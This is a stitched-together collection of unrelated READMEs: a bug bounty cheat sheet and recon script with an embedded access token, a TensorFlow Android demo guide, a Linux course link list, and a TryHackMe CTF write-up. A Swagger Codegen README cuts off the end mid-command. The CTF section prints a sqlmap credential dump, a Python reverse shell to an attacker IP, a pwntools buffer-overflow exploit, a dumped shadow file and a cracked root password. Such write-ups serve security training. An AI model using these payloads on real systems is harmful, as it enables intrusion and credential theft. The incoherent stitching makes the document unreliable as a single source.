# Bug Bounty Cheat Sheet</h1> | 📚 Reference | 🔎 Vulnerabilities | |-------------------------------------------------------------|-----------------------------------------------------------| | [Bug Bounty Platforms](cheatsheets/bugbountyplatforms.md) | [XSS](cheatsheets/xss.md) | | [Books](cheatsheets/books.md) | [SQLi](cheatsheets/sqli.md) | | [Special Tools](cheatsheets/special-tools.md) | [SSRF](cheatsheets/ssrf.md) | | [Recon](cheatsheets/recon.md) | [CRLF Injection](cheatsheets/crlf.md) | | [Practice Platforms](cheatsheets/practice-platforms.md) | [CSV Injection](cheatsheets/csv-injection.md) | | [Bug Bounty Tips](cheatsheets/bugbountytips.md) | [LFI](cheatsheets/lfi.md) | | | [XXE](cheatsheets/xxe.md) | | | [RCE](cheatsheets/rce.md) | | | [Open Redirect](cheatsheets/open-redirect.md) | | | [Crypto](cheatsheets/crypto.md) | | | [Template Injection](cheatsheets/template-injection.md) | | | [Content Injection](cheatsheets/content-injection.md) | | | [XSLT Injection](cheatsheets/xslt.md) |
# Recon Style :heart_eyes: :smiling_imp: 1. Subdomain emulation and Screenshot 2. Masscan and nmap 3. Cms scan 4. Dirsearch and Wfuzz 5. GitHub 6. Webarchvie 7. Js files emulation #### 1. Subdomain emulation and Screenshot :sleepy: Tools Used- > [Aquatone](https://github.com/michenriksen/aquatone) - aquatone-discover -d domain - aquatone-scan -d domain - aquatone-takeover -d domain - aquatone-gather -d domain > [Sublist3r](https://github.com/aboul3la/Sublist3r) - python3 Sublister.py -u domain #### 2. Masscan and nmap :astonished: > [Masscan](https://github.com/robertdavidgraham/masscan) - masscan -p1-65535 10.1.1.149/32 --rate=10000 out put of masscan is taken to nmap to get details of open ports > [Nmap](https://nmap.org/) - nmap -v -O -A -sV -sC -p22,3128 -oN 10.1.1.149_nmap.txt 10.1.1.149 #### 3. Cms scan :fire: > [Cmseek](https://github.com/Tuhinshubhra/CMSeeK) ``` for line in `cat /path-to-url`; do python3 cmseek.py -u $line --no-redirect done ``` #### 4. Dirsearch :boom: > [Dirsearch](https://github.com/maurosoria/dirsearch) - Python3 dirsearch -L /path-to-urls -e * -b --plain-text-report=output.txt > [Wfuzz](https://github.com/xmendez/wfuzz) - wfuzz -c -z file,/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt --hc 404 http://domain/FUZZ #### 5. GitHub :wink: > [Gitrob](https://github.com/michenriksen/gitrob) - GITROB_ACCESS_TOKEN=60f2675207b6c8c2aa3a2bfaadea1420b7be7021 ./gitrob dxa4481 > [Trufflehog](https://github.com/dxa4481/truffleHog) - trufflehog git_url > [GitGot](https://github.com/BishopFox/GitGot) - ./gitgot.py -q domain.com #### 6. Webarchvie :alien: > [waybackMachine](https://github.com/ghostlulzhacks/waybackMachine) - python waybackMachine.py facebook.com > facebook.txt #### 7. Js files emulation :yum: > [Linkfinder](https://github.com/GerbenJavado/LinkFinder) For single site - - python linkfinder.py -d domain -o domain.html For multiple sites - ``` for line in `cat /path-to-url`; do python linkfinder.py -d $line -o $line.html ``` ## Automation Automating all the above scripts in to one Save the below code as `recon` and move it to /bin/recon and chmod +x recon ``` #!/bin/bash aquatone-discover -d $1 aquatone-scan -d $1 aquatone-takeover -d $1 aquatone-gather -d $1 mkdir /home/mad/Documents/Recon/$1 python3 /home/mad/Sublist3r/sublist3r.py -d $1 -o /home/mad/Documents/Recon/$1/$1.txt cat /home/mad/Documents/Recon/$1/$1.txt | ./gopath/bin/httprobe > /home/mad/Documents/Recon/$1/$1_live.txt cat /home/mad/Documents/Recon/$1/$1_live.txt /home/mad/aquatone/$1/urls.txt | uniq > /home/mad/Documents/Recon/$1/final_urls.txt python3 /home/mad/dirsearch/dirsearch.py -L /home/mad/Documents/Recon/$1/final_urls.txt -e * --plain-text-report=/home/mad/Documents/Recon/$1/dirsearch.txt /home/mad/CMSeeK/sc > /home/mad/Documents/Recon/$1/cms_scan.txt python /home/mad/waybackMachine/waybackMachine.py $1 > /home/mad/Documents/Recon/$1/wayback.txt ```
# TensorFlow Android Camera Demo This folder contains an example application utilizing TensorFlow for Android devices. ## Description The demos in this folder are designed to give straightforward samples of using TensorFlow in mobile applications. Inference is done using the [TensorFlow Android Inference Interface](../../../tensorflow/contrib/android), which may be built separately if you want a standalone library to drop into your existing application. Object tracking and YUV -> RGB conversion is handled by libtensorflow_demo.so. A device running Android 5.0 (API 21) or higher is required to run the demo due to the use of the camera2 API, although the native libraries themselves can run on API >= 14 devices. ## Current samples: 1. [TF Classify](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/examples/android/src/org/tensorflow/demo/ClassifierActivity.java): Uses the [Google Inception](https://arxiv.org/abs/1409.4842) model to classify camera frames in real-time, displaying the top results in an overlay on the camera image. 2. [TF Detect](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/examples/android/src/org/tensorflow/demo/DetectorActivity.java): Demonstrates a model based on [Scalable Object Detection using Deep Neural Networks](https://arxiv.org/abs/1312.2249) to localize and track people in the camera preview in real-time. 3. [TF Stylize](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/examples/android/src/org/tensorflow/demo/StylizeActivity.java): Uses a model based on [A Learned Representation For Artistic Style] (https://arxiv.org/abs/1610.07629) to restyle the camera preview image to that of a number of different artists. <img src="sample_images/classify1.jpg" width="30%"> <img src="sample_images/stylize1.jpg" width="30%"> <img src="sample_images/detect1.jpg" width="30%"> ## Prebuilt APK: If you just want the fastest path to trying the demo, you may download the nightly build [here](https://ci.tensorflow.org/view/Nightly/job/nightly-android/). Expand the "View" and then the "out" folders under "Last Successful Artifacts" to find tensorflow_demo.apk. Also available are precompiled native libraries that you may drop into your own applications. See [tensorflow/contrib/android/README.md](../../../tensorflow/contrib/android/README.md) for more details. ## Running the Demo Once the app is installed it can be started via the "TF Classify", "TF Detect" and "TF Stylize" icons, which have the orange TensorFlow logo as their icon. While running the activities, pressing the volume keys on your device will toggle debug visualizations on/off, rendering additional info to the screen that may be useful for development purposes. ## Building the Demo from Source Pick your preferred approach below. At the moment, we have full support for Bazel, and partial support for gradle, cmake, make, and Android Studio. As a first step for all build types, clone the TensorFlow repo with: ``` git clone --recurse-submodules https://github.com/tensorflow/tensorflow.git ``` Note that `--recurse-submodules` is necessary to prevent some issues with protobuf compilation. ### Bazel NOTE: Bazel does not currently support building for Android on Windows. Full support for gradle/cmake builds is coming soon, but in the meantime we suggest that Windows users download the [prebuilt binaries](https://ci.tensorflow.org/view/Nightly/job/nightly-android/) instead. ##### Install Bazel and Android Prerequisites Bazel is the primary build system for TensorFlow. To build with Bazel, it and the Android NDK and SDK must be installed on your system. 1. Get the recommended Bazel version listed in [os_setup.html](https://www.tensorflow.org/versions/master/get_started/os_setup.html#source) 2. The Android NDK is required to build the native (C/C++) TensorFlow code. The current recommended version is 12b, which may be found [here](https://developer.android.com/ndk/downloads/older_releases.html#ndk-12b-downloads). 3. The Android SDK and build tools may be obtained [here](https://developer.android.com/tools/revisions/build-tools.html), or alternatively as part of [Android Studio](https://developer.android.com/studio/index.html). Build tools API >= 23 is required to build the TF Android demo (though it will run on API >= 21 devices). ##### Edit WORKSPACE The Android entries in [`<workspace_root>/WORKSPACE`](../../../WORKSPACE#L2-L13) must be uncommented with the paths filled in appropriately depending on where you installed the NDK and SDK. Otherwise an error such as: "The external label '//external:android/sdk' is not bound to anything" will be reported. Also edit the API levels for the SDK in WORKSPACE to the highest level you have installed in your SDK. This must be >= 23 (this is completely independent of the API level of the demo, which is defined in AndroidManifest.xml). The NDK API level may remain at 14. ##### Install Model Files (optional) The TensorFlow `GraphDef`s that contain the model definitions and weights are not packaged in the repo because of their size. They are downloaded automatically and packaged with the APK by Bazel via a new_http_archive defined in `WORKSPACE` during the build process, and by Gradle via download-models.gradle. **Optional**: If you wish to place the models in your assets manually, remove all of the `model_files` entries from the `assets` list in `tensorflow_demo` found in the `[BUILD](BUILD)` file. Then download and extract the archives yourself to the `assets` directory in the source tree: ```bash BASE_URL=https://storage.googleapis.com/download.tensorflow.org/models for MODEL_ZIP in inception5h.zip mobile_multibox_v1a.zip stylize_v1.zip do curl -L ${BASE_URL}/${MODEL_ZIP} -o /tmp/${MODEL_ZIP} unzip /tmp/${MODEL_ZIP} -d tensorflow/examples/android/assets/ done ``` This will extract the models and their associated metadata files to the local assets/ directory. If you are using Gradle, make sure to remove download-models.gradle reference from build.gradle after your manually download models; otherwise gradle might download models again and overwrite your models. ##### Build After editing your WORKSPACE file to update the SDK/NDK configuration, you may build the APK. Run this from your workspace root: ```bash bazel build -c opt //tensorflow/examples/android:tensorflow_demo ``` If you get build errors about protocol buffers, run `git submodule update --init` and make sure that you've modified your WORKSPACE file as instructed, then try building again. ##### Install Make sure that adb debugging is enabled on your Android 5.0 (API 21) or later device, then after building use the following command from your workspace root to install the APK: ```bash adb install -r bazel-bin/tensorflow/examples/android/tensorflow_demo.apk ``` ### Android Studio Android Studio may be used to build the demo in conjunction with Bazel. First, make sure that you can build with Bazel following the above directions. Then, look at [build.gradle](build.gradle) and make sure that the path to Bazel matches that of your system. At this point you can add the tensorflow/examples/android directory as a new Android Studio project. Click through installing all the Gradle extensions it requests, and you should be able to have Android Studio build the demo like any other application (it will call out to Bazel to build the native code with the NDK). ### CMake Full CMake support for the demo is coming soon, but for now it is possible to build the TensorFlow Android Inference library using [tensorflow/contrib/android/cmake](../../../tensorflow/contrib/android/cmake).
# Linux101-Resources Compilation of resources for TCM Security Linux 101 course ## General Links Cyber Mentor website: https://www.thecybermentor.com/ TCM Security Academy website: https://academy.tcm-sec.com/ The Cyber Mentor Discord channel: https://discord.gg/tcm All commands used in videos: https://github.com/beskridge/Linux101-Resources/blob/main/all-commands.md Supplementary exercises: https://github.com/beskridge/Linux101-Resources/blob/main/exercises.md ## Introduction GitHub repository: https://github.com/beskridge/Linux101-Resources Demonstration files (ZIP): https://github.com/beskridge/Linux101-Resources/raw/main/tcm-academy-linux101-demo-files.zip Demonstration files (Tarball): https://github.com/beskridge/Linux101-Resources/raw/main/tcm-academy-linux101-demo-files.tar.gz VirtualBox homepage: https://www.virtualbox.org/ ### Linux Distributions - Debian: https://www.debian.org/ - Ubuntu: https://ubuntu.com/ - Ubuntu Flavours: https://ubuntu.com/download/flavours - Linux Mint: https://linuxmint.com/ - CentOS: https://www.centos.org/ - Fedora: https://getfedora.org/ - Fedora Spins: https://spins.fedoraproject.org/ - Fedora Labs: https://labs.fedoraproject.org/ - Kali Linux: https://www.kali.org/ - Parrot OS: https://www.parrotsec.org/ - SUSE Linux: https://www.suse.com/ - Arch Linux: https://archlinux.org/ - OS Boxes: https://www.osboxes.org/ ## Getting Started The Linux man-pages project: https://www.kernel.org/doc/man-pages/ Explainshell: https://explainshell.com/ ## Files and Filesystem Official Filesystem Hierarchy Standard: https://refspecs.linuxfoundation.org/FHS_3.0/fhs/index.html ## Installing Software Debian manual chapter on package management: https://www.debian.org/doc/manuals/debian-reference/ch02.en.html RedHat documentation on managing software packages: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_basic_system_settings/managing-software-packages_configuring-basic-system-settings ## Shells Bash manual: https://www.gnu.org/software/bash/manual/bash.html Bash manual chapter on startup files: https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html Bash manual section on command substitution: https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html ## More Utilities Sed manual: https://www.gnu.org/software/sed/manual/sed.html AWK manual: https://www.gnu.org/software/gawk/manual/gawk.html ## Text Editors ### Nano Nano homepage: https://www.nano-editor.org/docs.php Nano cheatsheet: https://cheatography.com/bipinthite/cheat-sheets/nano-editor/ ### Vim Vim help files homepage: https://vimhelp.org/ Vim cheatsheet: https://cheatography.com/typo209/cheat-sheets/comprehensive-vim-cheat-sheet/ ## Process Management Crontab guru: https://crontab.guru/ ## Regular Expressions Initial sample email regex: https://www.regular-expressions.info/email.html Second sample email regex: https://emailregex.com/ Regexr web site: https://regexr.com/ Regex 101 (alternative to Regexr): https://regex101.com/ Links to regular expressions on Regexr: - https://regexr.com/66ogg - https://regexr.com/66ogj - https://regexr.com/66ogm - https://regexr.com/66ogv ## Scripting Advanced Bash Scripting Guide: https://tldp.org/LDP/abs/html/ Bash Shell Scripting wikibook: https://en.wikibooks.org/wiki/Bash_Shell_Scripting
### IP `10.10.41.142` # Host Enumeration ### nmap `nmap -sC -sV 10.10.41.142 -oN init.nmap` ``` Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-26 23:04 EDT Nmap scan report for 10.10.41.142 Host is up (0.11s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6d:2c:40:1b:6c:15:7c:fc:bf:9b:55:22:61:2a:56:fc (RSA) | 256 ff:89:32:98:f4:77:9c:09:39:f5:af:4a:4f:08:d6:f5 (ECDSA) |_ 256 89:92:63:e7:1d:2b:3a:af:6c:f9:39:56:5b:55:7e:f9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 68.99 seconds ``` # Web Enumeration ### gobuster `gobuster dir -u 10.10.41.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html` ``` =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.41.142 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,txt,html [+] Timeout: 10s =============================================================== 2021/03/26 23:10:14 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 10918] /administrator.php (Status: 200) [Size: 409] /server-status (Status: 403) [Size: 277] Progress: 757416 / 882244 (85.85%) ^C [!] Keyboard interrupt detected, terminating. =============================================================== 2021/03/26 23:39:00 Finished ``` # Web Exploitation ### sqlmap * Putting a `'` in the login form gives us this error: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1` * Thus, we know this is using MySQL `sqlmap -u http://10.10.41.142/administrator.php --forms --dump --dbms=mysql` ``` ___ __H__ ___ ___[)]_____ ___ ___ {1.5.3#stable} |_ -| . [,] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 23:36:51 /2021-03-26/ [23:36:51] [INFO] testing connection to the target URL [23:36:52] [INFO] searching for forms [#1] form: POST http://10.10.41.142/administrator.php POST data: username=&password= do you want to test this form? [Y/n/q] > Y Edit POST data [default: username=&password=] (Warning: blank fields detected): do you want to fill blank fields with random values? [Y/n] Y [23:37:02] [INFO] using '/root/.local/share/sqlmap/output/results-03262021_1137pm.csv' as the CSV results file in multiple targets mode sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: username=NIDZ' RLIKE (SELECT (CASE WHEN (9938=9938) THEN 0x4e49445a ELSE 0x28 END))-- ETdI&password= Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: username=NIDZ' AND GTID_SUBSET(CONCAT(0x716a626b71,(SELECT (ELT(8142=8142,1))),0x717a627871),8142)-- Izjp&password= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=NIDZ' AND (SELECT 8478 FROM (SELECT(SLEEP(5)))HKLn)-- vjtj&password= --- do you want to exploit this SQL injection? [Y/n] Y [23:37:04] [INFO] testing MySQL [23:37:04] [INFO] confirming MySQL [23:37:04] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.10 or 16.04 (xenial or yakkety) web application technology: Apache 2.4.18 back-end DBMS: MySQL >= 5.0.0 [23:37:04] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [23:37:04] [INFO] fetching current database [23:37:04] [INFO] resumed: 'users' [23:37:04] [INFO] fetching tables for database: 'users' [23:37:05] [INFO] retrieved: 'users' [23:37:05] [INFO] fetching columns for table 'users' in database 'users' [23:37:05] [INFO] retrieved: 'username' [23:37:05] [INFO] retrieved: 'varchar(100)' [23:37:05] [INFO] retrieved: 'password' [23:37:05] [INFO] retrieved: 'varchar(100)' [23:37:05] [INFO] fetching entries for table 'users' in database 'users' [23:37:06] [INFO] retrieved: 'secretpass' [23:37:06] [INFO] retrieved: 'pingudad' Database: users Table: users [1 entry] +------------+----------+ | password | username | +------------+----------+ | secretpass | pingudad | +------------+----------+ [23:37:06] [INFO] table 'users.users' dumped to CSV file '/root/.local/share/sqlmap/output/10.10.41.142/dump/users/users.csv' [23:37:06] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-03262021_1137pm.csv' [*] ending @ 23:37:06 /2021-03-26/ ``` # Command Execution * We can get a reverse shell with `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.36.105",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` * Run `nc -lvnp 1337` locally * We can find the hidden password with `find -name hidden* 2>/dev/null` * `cat /var/hidden/pass` gives us `pinguapingu` * Now we can connect with `ssh [email protected]` # LinEnum * We can find suid binaries with `find / -perm -u=s -type f 2>/dev/null` * One of them is `/opt/secret/root` # pwndbg * I don't like pwndbg, so I'm going to use gef locally by downloading it using `python3 -m http.server 80` and `wget http://10.10.41.142:8080/root` remotely ### gef 1. `gdb root` 2. `disas main` ``` Dump of assembler code for function main: 0x08048521 <+0>: lea ecx,[esp+0x4] 0x08048525 <+4>: and esp,0xfffffff0 0x08048528 <+7>: push DWORD PTR [ecx-0x4] 0x0804852b <+10>: push ebp 0x0804852c <+11>: mov ebp,esp 0x0804852e <+13>: push ecx 0x0804852f <+14>: sub esp,0x4 0x08048532 <+17>: call 0x8048504 <get_input> 0x08048537 <+22>: mov eax,0x0 0x0804853c <+27>: add esp,0x4 0x0804853f <+30>: pop ecx 0x08048540 <+31>: pop ebp 0x08048541 <+32>: lea esp,[ecx-0x4] 0x08048544 <+35>: ret End of assembler dump. ``` 3. `disas get_input` ``` Dump of assembler code for function get_input: 0x08048504 <+0>: push ebp 0x08048505 <+1>: mov ebp,esp 0x08048507 <+3>: sub esp,0x28 0x0804850a <+6>: sub esp,0x8 0x0804850d <+9>: lea eax,[ebp-0x28] 0x08048510 <+12>: push eax 0x08048511 <+13>: push 0x80485ec 0x08048516 <+18>: call 0x80483b0 <__isoc99_scanf@plt> 0x0804851b <+23>: add esp,0x10 0x0804851e <+26>: nop 0x0804851f <+27>: leave 0x08048520 <+28>: ret End of assembler dump. ``` 4. `b *get_input + 23` (we want to break after the input) 5. `r` 6. `AAAA` 7. `tele $esp-20 21` (play around with start and stop bounds until you see esp and ebp) ``` 0xffffd1fc│+0x0000: 0x00000002 0xffffd200│+0x0004: 0xffffd220 → "AAAA" 0xffffd204│+0x0008: 0xf7ffd980 → 0x00000000 0xffffd208│+0x000c: 0xf7e07105 → <__isoc99_scanf+5> add eax, 0x18fefb 0xffffd20c│+0x0010: 0x0804851b → <get_input+23> add esp, 0x10 0xffffd210│+0x0014: 0x080485ec → 0x00007325 ("%s"?) ← $esp 0xffffd214│+0x0018: 0xffffd220 → "AAAA" 0xffffd218│+0x001c: 0x08048034 → push es 0xffffd21c│+0x0020: 0xf7f98a28 → 0x00000000 0xffffd220│+0x0024: "AAAA" 0xffffd224│+0x0028: 0xf7fe4000 → and al, 0x8 0xffffd228│+0x002c: 0x00000000 0xffffd22c│+0x0030: 0xf7de9c1e → add esp, 0x10 0xffffd230│+0x0034: 0xf7f973fc → 0xf7f98a40 → 0x00000000 0xffffd234│+0x0038: 0xffffffff 0xffffd238│+0x003c: 0x00000000 0xffffd23c│+0x0040: 0x0804859b → <__libc_csu_init+75> add edi, 0x1 0xffffd240│+0x0044: 0x00000001 0xffffd244│+0x0048: 0xffffd314 → 0xffffd4a1 → "/root/Desktop/CTFs/TryHackMe/TheCodCaper/root" 0xffffd248│+0x004c: 0xffffd258 → 0x00000000 ← $ebp 0xffffd24c│+0x0050: 0x08048537 → <main+22> mov eax, 0x0 ``` * The offset is `0x50 - 0x24`, which is `0x2c`, or `44` 8. The sourcecode tells us that theres a function called `shell` ### buffer overflow `exploit.py` ```python from pwn import * e = ELF('./root') p = process('./root') offset = 0x50 - 0x24 payload = b'A'*offset payload += p32(e.sym['shell']) p.sendline(payload) p.interactive() ``` * Running this code remotely with `python exploit.py` prints the `shadow.bak` file: ``` root:$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:18277:0:99999:7::: daemon:*:17953:0:99999:7::: bin:*:17953:0:99999:7::: sys:*:17953:0:99999:7::: sync:*:17953:0:99999:7::: games:*:17953:0:99999:7::: man:*:17953:0:99999:7::: lp:*:17953:0:99999:7::: mail:*:17953:0:99999:7::: news:*:17953:0:99999:7::: uucp:*:17953:0:99999:7::: proxy:*:17953:0:99999:7::: www-data:*:17953:0:99999:7::: backup:*:17953:0:99999:7::: list:*:17953:0:99999:7::: irc:*:17953:0:99999:7::: gnats:*:17953:0:99999:7::: nobody:*:17953:0:99999:7::: systemd-timesync:*:17953:0:99999:7::: systemd-network:*:17953:0:99999:7::: systemd-resolve:*:17953:0:99999:7::: systemd-bus-proxy:*:17953:0:99999:7::: syslog:*:17953:0:99999:7::: _apt:*:17953:0:99999:7::: messagebus:*:18277:0:99999:7::: uuidd:*:18277:0:99999:7::: papa:$1$ORU43el1$tgY7epqx64xDbXvvaSEnu.:18277:0:99999:7::: ``` * The root hash is `$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.` # Finishing the job * We can figure out which hash type the above is using `hashcat --example-hashes | grep 'HASH: \$6' -B2 -A1`, which gets us the following: ``` MODE: 1800 TYPE: sha512crypt $6$, SHA512 (Unix) HASH: $6$72820166$U4DVzpcYxgw7MVVDGGvB2/H5lRistD5.Ah4upwENR5UtffLR4X4SxSzfREv8z6wVl0jRFX40/KnYVvK4829kD1 PASS: hashcat ``` * We can run `hashcat -m 1800 root.hash /usr/share/wordlists/rockyou.txt -a 0` ``` $6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:love2fish Session..........: hashcat Status...........: Cracked Hash.Name........: sha512crypt $6$, SHA512 (Unix) Hash.Target......: $6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.o...x00Ck. Time.Started.....: Sat Mar 27 00:27:42 2021 (6 mins, 5 secs) Time.Estimated...: Sat Mar 27 00:33:47 2021 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 657 H/s (7.91ms) @ Accel:64 Loops:128 Thr:1 Vec:4 Recovered........: 1/1 (100.00%) Digests Progress.........: 239872/14344384 (1.67%) Rejected.........: 0/239872 (0.00%) Restore.Point....: 239616/14344384 (1.67%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000 Candidates.#1....: lucinha -> lospollitos ``` * The password is `love2fish`
# Swagger Code Generator [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) [![PR Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: ## Overview This is the swagger codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported: - **API clients**: **ActionScript**, **Bash**, **C#** (.net 2.0, 4.0 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Go**, **Groovy**, **Haskell**, **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign), **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **Python**, **Ruby**, **Scala**, **Swift** (2.x, 3.x), **Typescript** (Angular1.x, Angular2.x, Fetch, Node) - **Server stubs**: **C#** (ASP.NET Core, NancyFx), **Erlang**, **Go**, **Haskell**, **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy), **PHP** (Lumen, Slim, Silex, [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Scala** ([Finch](https://github.com/finagle/finch), Scalatra) - **API documentation generators**: **HTML**, **Confluence Wiki** - **Others**: **JMeter** Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Build and run](#build-and-run-using-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public Docker image](#public-docker-image) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [Swagger Codegen Evangelist](#swagger-codegen-evangelist) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilities with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 2.3.0 (upcoming minor release) | TBD | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes 2.2.2 | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2) 2.2.1 (**current stable**) | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) 2.1.6 | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/v2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from maven central (you'll need java 7 runtime at a minimum): ``` wget 